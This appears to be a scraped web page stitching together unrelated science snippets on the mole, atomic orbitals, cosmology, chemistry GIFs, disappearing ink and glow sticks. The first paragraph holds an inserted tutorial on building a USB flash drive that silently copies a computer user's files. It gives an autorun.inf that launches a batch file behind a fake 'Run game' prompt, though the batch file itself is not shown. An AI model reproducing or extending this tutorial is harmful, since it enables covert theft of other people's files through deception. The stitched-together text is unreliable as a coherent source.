How big is a mole? (Not the animal, the other one.) - Daniel Dulek A comprehensive biography of Avogadro can be found here: The mole is taught in every introductory chemistry class one can take at the college level. Here's an example of a chemistry course: There is an entire day dedicated to commemorating Avogadro's Number. National Mole Day: Sparknotes is a great resource for quick learning. "The primary unit for the amount of substance in a chemical element is the mole, and if you are talking about the stoichiometry of a reaction, the mole is the basis for that." How to make flash drive that copy's users files silently and automatically Ok there is no order in the file creation process just that you have all files created and on the flash drive. I will start out with the autorun.inf. This file is used when you insert the flash drive into said computer. Here is the code, you will have to open a simple word editor such as word, you can past this code into word and edit to your hearts content. [autorun] icon=drive.icoopen=launch.bataction=Click ok to Run game for Windowsshell\open\command=launch.bat a couple of notes the code is between the lines not the lines at all so dont put them in your autorun file. also when you save this file after editing or pasing this in the editor make shure you save it as all files and put a .inf after it... like this autorun.inf look at pic two if you have any issues. You can change the icon to your tastes what you will have to do is find a .png a png file is an icon file. next is the open= command this code takes the launch batch file and opens it.. more on the launch batch file later.
Grand Orbital Table by Manthey Grand Orbital Table All atomic orbitals with n<=10 are presented here. Note that the orbitals with negative m are identical to those with the same magnitude positive m value except for a rotation,and are not shown separately. n and l versus m Return to top of page. n and m versus l l and m versus n n-l and l-m versus m n-l and m versus l-m l-m and m versus n-l Return to Atomic Orbitals or the Site Map.
Brief Answers to Cosmic Questions Structure of the Universe Does the Universe have an edge, beyond which there is nothing? Are the galaxies arranged on the surface of a sphere? Why can't we see the whole universe? Does the term "universe" refer to space, or to the matter in it, or to both? Evolution of the Universe Did the Universe expand from a point? More about the Big Bang When they say "the universe is expanding," what exactly is expanding? Structure of the Universe Does the Universe have an edge, beyond which there is nothing? Are the galaxies arranged on the surface of a sphere? Why can't we see the whole universe? If you could suddenly freeze time everywhere in the universe, and magically survey all of creation, you would find galaxies extending out far beyond what we can see today. Does the term "universe" refer to space, or to the matter in it, or to both? Today, the situation is reversed. Discovering the properties of space remains one of the deepest and most important problems in modern science.
Chemistry Crayon Labels set of 48 by QueInteresante Reversible flow (when I show this in class, minds are blown) | Bilgidrom- Where Knowledge Is Power 12Google + 33StumbleUpon Interesting video showing Laminar Flow and demonstrating fluid flowing in layers. 15 Awesome Chemistry GIFs You don’t need to watch Breaking Bad to know that chemistry is pretty awesome. Below, we explore our favorite 15 chemistry GIFs and the science behind them (when we could figure it out): Melting Metal With Magnets The Science: The copper wire has a significant amount of AC electricity running through it, causing it to act like a really strong electromagnet. In the metal slug, eddy currents form due to the magnetic field the copper wire is causing while the copper wire has high frequency AC flowing through it. Orange LED Light In Liquid Nitrogen The Science: When an LED is immersed in liquid nitrogen, the electrons lose a lot of thermal energy, even when the light isn’t turned on. Awesome Chemistry GIFs: Heating Mercury Thiocyanate Hydrogen Peroxide Catalyzed By Potassium Iodide
Twelve Free Chemistry Databases Just two years ago, trying to find free online chemistry databases was an exercise in futility. Now, they're sprouting up all over the Web like wildflowers after a wet Spring. What follows is a far-from-complete roundup of some of the more interesting places to start your chemical search. PubChem- The granddaddy of all free chemistry databases. What makes disappearing ink disappear? | 200 Questions About Chemistry Carbon dioxide. A common type of disappearing ink is based on an acid-base indicator called thymolphthalein. This is a molecule that absorbs visible light when it is in an alkaline solution, and becomes colorless in a neutral or acidic solution. Thymophthalein To turn it into a blue ink, we add sodium hydroxide (lye), a strong alkali. As long as the solution is basic (alkaline), it will be blue. But if we allow the ink to soak into paper or cloth, so that there is a lot of surface area in contact with the air, it will absorb carbon dioxide from the air. The neutral solution is no longer blue, but colorless.
Chem Lectures Menu .... Metric Download "Formula Club & Practice Blitzes" in the Summer Assignment Page. We shall next do Unit 6, Equations, here and follow it with unit 5. Unit 6 Equations ..... ..... ..... ..... Unit 7 Stoichiometry ..... ..... ..... Unit 8 Atomic Structure ..... ..... Practice Blitzes "Atomic Structure" (on your FC Blitz Program) Practice Blitzes "Unit 1-8" (on your FC Blitz Program) Unit 9 The Energy of the Electrons ..... ..... Unit 10 Periodic Table ..... ..... ..... ..... ..... ...... Unit 11 is included in Unit 10 Unit 12 Chemical Bonding ..... Unit 13 is included in Unit 12. Unit 14 Polar Molecules and Hydrogen Bonding ..... ..... Unit 15 The Kinetic Theory and Atmospheric Pressure ..... ..... Unit 16 The Solid State and Crystals ..... ..... Unit 17 Equilibrium and the Principle of le Chatelier ..... ..... ........ Practice Blitzes "Kinetic Theory & Equilibrium" (on your FC Blitz Program) Unit 18 Gas Laws, Partial Pressure, Adiabatic Action ..... Unit 19 Gases and the Mole ..... ..... ..... .....
The Chemistry of Glow Sticks Click to enlarge Everyone’s familiar with glow sticks, but it’s likely that fewer are familiar with the chemistry behind their glow. You may have wondered what happens when you snap a glow stick to activate it; by doing this, you’re actually kicking off a chemical process that eventually leads to the production of the coloured light. But how does this process work, and why do you need to bend the glow stick to initiate it? Glow sticks actually contain two separate compartments, with two different chemical solutions. The reaction that takes place is between the hydrogen peroxide solution and the diphenyl oxalate. The exact energy of the light given off is dependent on the structure of the molecule, and this allows different colours to be achieved. You may also have noticed that the packaging of glow sticks often advises that they shouldn’t be cut open. On a final note, glow stick reactions, like many chemical processes, can be influenced by temperature. References & Further Reading